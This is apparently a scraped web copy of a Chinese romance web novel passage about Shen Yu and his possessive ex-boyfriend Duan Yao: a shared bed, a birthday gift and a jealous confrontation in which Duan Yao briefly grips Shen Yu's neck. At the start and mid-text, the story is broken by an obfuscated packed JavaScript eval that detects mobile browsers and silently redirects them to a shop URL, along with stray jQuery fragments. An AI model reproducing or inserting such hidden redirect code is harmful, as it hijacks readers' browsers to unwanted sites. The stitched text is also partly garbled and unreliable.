;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393100|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈玉也不介意他不理自己,小声道晚安:“晚安。” 段尧收回视线:“嗯。” 两个人都没说话了,卧室里很安静。 不知过了多久,枕边的呼吸声变得均匀绵长,段尧在黑暗中睁开了眼睛。 他翻过身,盯着沈玉的后脑勺看了很久,然后伸出手,握住清瘦的肩膀,将背对着自己的人翻过来。 沈玉已经睡熟了,被他摆弄也没有醒过来,只是习惯性地抬手想要抓住什么。 段尧抢先抓住横在两人中间的枕头,一把扔到了地上。 沈玉没摸到抱枕,只摸到了他的手臂,本能地将他的手臂抱进了怀里,小猫撒娇般蹭了蹭,一条腿也顺势架到了他的腿上。 段尧呼吸一屏,身体僵硬了大概有一分多钟,才慢慢调整了下姿势。 沈玉又往他怀里钻了钻,脸颊埋进他的颈窝里,鼻尖贴着他的脉搏,温热的呼吸喷洒在颈侧,痒得人心尖发颤。 段尧深深吸了一口气,鼻腔被一股熟悉的气息充斥着。 沈玉用了他的洗发水和沐浴露,和他同款的香味里混含着自己的体香,香得几乎令人迷醉。 段尧就像一个无可救药的瘾君子,反复深呼吸几次后,缓慢收拢双臂,将怀里的人牢牢禁锢在怀里。 沈玉这一觉睡得很安稳,安稳得像是很久以前,一切不好的事都还没发生。 直到他醒过来时,瞬间意识到了不对劲。 他的脸贴着一片热热的皮肤,额头抵着硬硬的锁骨,一条腿缠在段尧两条腿之间,膝盖顶着大腿内侧,小腿叠放在小腿上,脚趾还踩着段尧的脚踝。 他整个人都挂在段尧身上,像一只抱着树干睡觉的考拉,两人从胸口到腹部,从大腿到小腿,都严丝合缝地贴着。 最过分的是,他的一只手还伸进了段尧敞开的浴袍里,掌心贴着块垒分明的腹肌,手感好得不可思议。 沈玉脑子“嗡”地一声炸开了,瞬间从脸红到了脖颈后。 怎么回事?他睡前姿势不是很规矩吗? 而且他还在两人间放了一个枕头,竟然连这么大的枕头都没能阻止他将魔爪伸向段尧? 沈玉脸蛋烫得快冒烟了,眼睫飞快地眨动了几下,决定悄悄把脸从颈窝里拔|出来,把手从浴袍里抽出来,再把缠得紧紧的腿也拿下来。 对,他必须趁段尧没醒,假装昨晚什么事都没发生…… 沈玉颤颤巍巍地将手慢慢抽离出浴袍,指尖却不可避免地蹭到了裸|露的腹肌。 同一时刻,他明显感觉到手底下的腹肌骤然收缩了一下。 段尧醒了。 这个认知让沈玉耳尖红得几乎要滴血,着急忙慌地想立刻将腿也收回来。 越急越慌,他收回腿时膝盖不小心往上顶了下。 隔着两层布料,他都能感觉那东西,像只被火烧过的大铁杵…… 沈玉如遭雷劈,当场僵住了。 段尧什么时候,长了个这么可怕的…… 下一秒,一只滚烫的大手握住了他的膝弯。 段尧睁开深不见底的黑眸,嗓音低沉沙哑:“乱蹭什么?” 14.第 14 章 两道目光近距离撞在一起,近得沈玉能从那双漆黑的眼眸里看见自己的倒影。 他的膝弯被段尧的大手握着,明显能感觉到抵着的那个东西竟然还在继续…… 沈玉吓得打了个激灵,一巴掌拍开那只手,收回腿时顺势滚向床的另一侧。 结果一个用力过猛,差点滚到了床底下,又是段尧伸出手臂捞了他一把。 沈玉后腰一软,缩在床上道歉:“对不起……我、我真不是故意的……” 睡前信誓旦旦绝不会越界,醒来却整个人都挂在人家身上,他要是段尧都会认为他肯定有什么非分之想。 好在段尧一句话没说,松开手起身下床,边走边抬手拢浴袍。 沈玉的目光忍不住追着他,落在浴袍都遮不住的某个部位,又触电般移开了视线。 段尧进了浴室,片刻后便响起“哗啦啦”的水声。 沈玉躺在床上,双手捂住了滚烫的脸颊。 同为男人,他自然知道有些生理反应是控制不住的。 所以段尧应该不是对他有什么特别的感觉,只是一大清早的,被他又抱又蹭难免会…… “啊啊啊……”沈玉无声地尖叫,翻过身将自己整张脸都埋进枕头里。 可床上到处都是段尧身上的气息,他闻着闻着脑海里又浮现出刚才的一幕。 沈玉有点崩溃了,猛地起身从床上跳下去。 段尧从浴室出来时,他已经换好衣服坐在沙发上了。 他假装在很专心地玩手机,实际上心不在焉,正竖着耳朵偷听有没有什么动静。 万幸的是,段尧没再提刚才发生的事,只是淡淡说道:“吃完早餐,准备动身回去。” “这么快?”沈玉抬起眼眸,“你工作都结束了吗?” 段尧垂眸看着他:“怎么,不想回去?” “没有……”沈玉摇了摇头,“没事,我只是随便问问。” 段尧没再继续追问,按下酒店服务专线叫早餐上来。 回程路上,沈玉坐在车后座,看着窗外升起来的太阳,心底莫名有些失落。 虽然这几天他一直被关在酒店里,但只要段尧结束工作回来,他们就会待在同一个小空间里,哪怕只是各做各的事。 昨天段尧甚至还带他出去逛街了,他可以短暂地抛开自己签下的不平等协议,也忘掉他们分开的那五年。 一旦回到A市,回到那栋别墅里,他们之间的关系会重新退回原点吗? 沈玉怅然若失地想着,没注意到身侧的人眼角余光一直都在他身上。 上午十一点多,他们回到了别墅。 容姨早早就等在别墅大门前,一见段尧的车就迎上来:“段先生,小少爷,你们终于回来了!” 沈玉开门下车,冲上去就是一个大大的拥抱:“容姨,想我了没?” “想了想了,天天想着小少爷呢。”容姨被哄得心花怒放,一转眼却发现站在旁边的段先生皱了皱眉。 容姨心下一突,往后退开一步:“段先生,小少爷,午餐已经准备好了。” * 回到别墅后,沈玉又恢复了之前的日常,每天除了吃喝睡觉,就是在后花园里浇浇花,或者等太阳落山后在附近散散步。 段尧依旧每天忙着工作,但早上会等他醒来一起吃早餐,有时候晚上也会回来得早一点。 虽然态度依旧冷淡,但好像没那么讨厌看见他了。 沈玉将这些细微的变化都看在眼里,心里难免有些雀跃。 看来这趟差出得很值,段尧对他的态度真的缓和了不少。 沈玉知道自己最擅长的就是得寸进尺,于是这天下午,他忍不住在危险的边缘试探:“段尧,我今天想出去一趟,可以吗?” 段尧正坐在沙发上看资料,闻言抬眸:“你又想去哪里?” “我想出去买点东西。”沈玉随口糊弄道。 段尧放下手中的ipad:“你缺什么东西?” “呃......”沈玉编不出来了,只好实话实说道,“其实是茂茂过两天要过生日了,我想给他买个生日礼物。” 一听“茂茂”两个字,段尧脸色瞬间冷了两个度:“你跟他关系很好?” “之前在酒吧兼职时,徐茂很照顾我。”沈玉斟酌着用词,“他是我唯一的朋友了。” 曾经他是沈小少爷时,身边无数人拥簇着他,直到沈家倒台,那些人一哄而散,甚至有人试图趁火打劫。 而徐茂从不问他的过往,也不想从他身上得到什么东西,两人在鱼龙混杂的酒吧互相搀扶着走过了一段路,他不想就这么丢掉这份难得的友情。 段尧沉默了片刻,起身说道:“走吧,我跟你一起去。” 沈玉别无选择,只能在段总的亲自陪同下,去了上次那个高端商场。 他其实很想说这里的东西他都买不起,但段尧没给他说话的机会,直接问道:“你要买什么生日礼物?” “买双球鞋吧。”沈玉回道,“他之前的鞋穿坏了都舍不得换,我早就想好了,等他生日时送他一双新鞋。” 段尧冷哼一声:“你倒是体贴。” 沈玉:“没有没有……” 段尧领着他去了一家运动品牌鞋店,跟上次给他买的鞋不是同一家。 沈玉看了看鞋的价格标签,偷偷拽了下段尧的衣袖,在他耳旁很小声地说道:“段尧,这里的鞋我都买不起。” 段尧没搭理他,对一旁的导购说:“随便拿一双男鞋。” 沈玉:“......” 算了,反正他欠段尧的早已经还不清,也不差这双鞋了。 沈玉去挑了双徐茂会喜欢的款式,又报了码数给导购。 导购问道:“这位先生,不需要试一下鞋合不合脚吗?” 沈玉解释道:“这双鞋是送人的礼物。” “原来是这样啊!”导购笑着回道,“那需要我帮您放一张卡片,写上祝福语吗?” “不需要。”段尧接过话,冷冷道,“结账,装起来。” 导购连忙应声:“好的这位先生,我马上给您结账。” 结完账出来,沈玉还有点没想通。 上次买了那么多衣服都好好的,这次才买了一双鞋脸色就臭成这样,一点也不符合段总的气度啊。 他正思索着,段尧侧眸问道:“生日礼物你什么时候给他?” “当然是他生日的那天。”沈玉不假思索地回道,“徐茂在A市没什么别的亲戚朋友,我想陪他一起过个生日。” “今天就给。”段尧面无表情地说道,“打电话叫他出来。” 沈玉:“……好。” 行,金主爸爸说了算,早两天迟两天都是一样的,茂茂还能早点穿上新鞋。 沈玉掏出手机,给徐茂发了条微信消息。 徐茂秒回:【我正准备去酒吧上班,等会儿门口见。】 约莫二十分钟后,车停在酒吧附近。 酒吧还没到营业时间,徐茂正靠在门口的柱子上等着。 沈玉拎着装鞋的袋子下了车,藏在身后直奔他而去。 徐茂听见动静,站直身体:“小玉,你要给我什么东西?” “Surprise!”沈玉拿出背在身后的袋子,递到他面前,“茂茂,送你的生日礼物。” 徐茂接过袋子,表情惊讶:“你还记得我生日啊?” “当然记得了。”沈玉示意道,“拆开看看喜不喜欢。” 徐茂蹲下来,拆开袋子拿出里面的鞋盒,刚看了眼logo就装了回去:“谢谢你小玉,心意我收到了,礼物我不能要。” “为什么?”沈玉微微睁大了眼睛,“你不喜欢吗?” “这礼物太贵重了,你退回去吧。”徐茂站起身来,“真要想送我生日礼物,送我包烟得了。” 沈玉脱口而出:“没事啊,反正也不是我花的钱。” “不是你花的钱,那是谁——”徐茂话说到一半,突然发现停在附近的那辆迈巴赫车窗降了下来,露出一张有点熟悉的脸。 沈玉说秃噜了嘴,干脆承认道:“好吧,其实是我老板买的单。” 徐茂拧起眉心,一把拉过他的手:“小玉,你跟我说句实话,你老板是不是对你做了什么不好的事?” 话说得很委婉,但沈玉却听懂了,有点啼笑皆非:“不是你想的那样,茂茂。” 徐茂依旧皱着眉:“那是怎么样?” “事情太复杂了,我就长话短说吧。”沈玉简单概括道,“他叫段尧,是我的前男友,也是我现在的老板。” 徐茂安静下来,连眼睛都没眨一下。 “茂茂?”沈玉抬起另一只手,在他眼前挥了挥。 “你是说,你的前男友成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397245|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的老板……”徐茂试图理清这中间复杂的关系,“然后你拿你前男友的钱,给我买了这么贵的生日礼物?” 沈玉:“好像是这样没错……” 徐茂将视线再次转向那辆迈巴赫,坐在里面的男人目光如刀,冷嗖嗖地直往他身上扎。 沈玉还在劝他:“总之你收下吧,不要白不要。” “那你俩现在是怎么回事?”徐茂收回视线,“旧情复燃了?” 沈玉摇了摇头:“什么旧情复燃啊,没有的事。” 旧情复燃的前提是得有旧情吧,可段尧又没喜欢过他。 徐茂反应过来:“难道你前男友雇你当保姆,是为了报复你当初跟他分手?” 沈玉:“差不多吧。” 徐茂又问:“那你呢,你还喜欢他吗?” 这一问,给沈玉问愣住了。 他还喜欢段尧吗? 八年前他对段尧见色起意,强行把人留在身边,后来看别人谈恋爱觉得有趣,又逼迫段尧当自己的男朋友。 那时候他随心所欲惯了,想要得到的东西就必须握在手里,从没考虑过自己对段尧是不是真正的喜欢。 可是在他们分开的这五年里,每一个午夜梦醒时分,他都会一遍一遍地在心里叫着那个熟悉的名字,哪怕从没得到过任何回应。 徐茂仔细观察着他的神情,叹了口气:“你不用回答我了,我知道了。” 沈玉回过神来,勉强笑道:“你放心,茂茂,我早就过了为前男友要死要活的年纪了。” 徐茂却突然往他面前走近一步,凑在他耳畔低声问道:“小玉,你想不想知道你前男友,对你到底还有没有感情?” 沈玉歪了下头:“你说的是哪种感情?” “当然是谈恋爱的那种感情。”徐茂张开双臂,结结实实地把人抱进怀里,“想知道就别动。” 沈玉正要伸手推他,闻言又顿住了。 一秒、两秒、三秒—— “砰”的一声,迈巴赫车门被砸得震天响。 沈玉抖了一下,从徐茂怀里挣脱出来。 下一秒,一只大手牢牢握住他的手腕,强行将他带进怀里。 沈玉撞进熟悉的胸膛里,鼻尖充斥着一股好闻的气息,轻轻叫了声:“段尧……” “礼物已经送到,该走了吧?”段尧开口打断他,声音低冷得可怕。 徐茂终于和他打上照面,虽然心里有点毛毛的,但还是沉着气问道:“这位先生,请问你跟小玉是什么关系?” 段尧冷冷反问道:“跟你有关系?” 徐茂还没来得及反驳,他已经拉着沈玉转身往车旁走去。 沈玉边走边回过头,用夸张的口型说道:“我先走了,再联系!” 段尧亲自拉开车门,将人塞进后座,自己也跟着坐进去。 坐上车后,沈玉忍不住偷瞄一眼身侧的人。 段尧的表情还是那样冷峻,紧抿的唇线足以说明他在生气。 沈玉舔了下嘴唇,像是做错了事被当场抓住,不知道自己即将面临什么惩罚,所以有些紧张。 但他想到徐茂刚才说的测试,还是打破了沉默:“那个……刚才茂茂说,很喜欢我送他的生日礼物。” 段尧转脸看向他,那双黑沉的眼睛像一口深不见底的古井,只有将头探进去,才能看见井底有什么东西在疯狂地翻涌。 沈玉无意识地往旁边缩了缩,却不知这个小动作让男人脑海中绷紧的那根弦彻底断了。 段尧突然倾身,大手掐住他的脖颈将他按在真皮座椅上:“我还没碰你一下你就躲开了,你让他抱你那么久?” 沈玉望进那双熟悉的黑眸里,那里面翻涌着的东西终于浮上来了,却依旧复杂到难以辨明。 段尧看着他,几乎是咬牙切齿地说道:“沈玉,有时候我真想掐死你。” 手心底下的脖颈纤长而脆弱,仿佛只要稍一用力就能轻易折断。 沈玉被迫仰着脸,忽然笑了起来:“那你掐死我吧。” 段尧额角青筋跳了跳,大手当真慢慢收紧。 沈玉完全没有反抗,只是抬起一只手,轻轻搭在他的手背上,轻得像一片落在水面上的花瓣。 段尧表情一僵,刚收紧一点的手又不自觉松开了力道。 “段尧。”沈玉盯着他的眼睛,不怕死地问道,“你是不是吃醋了?”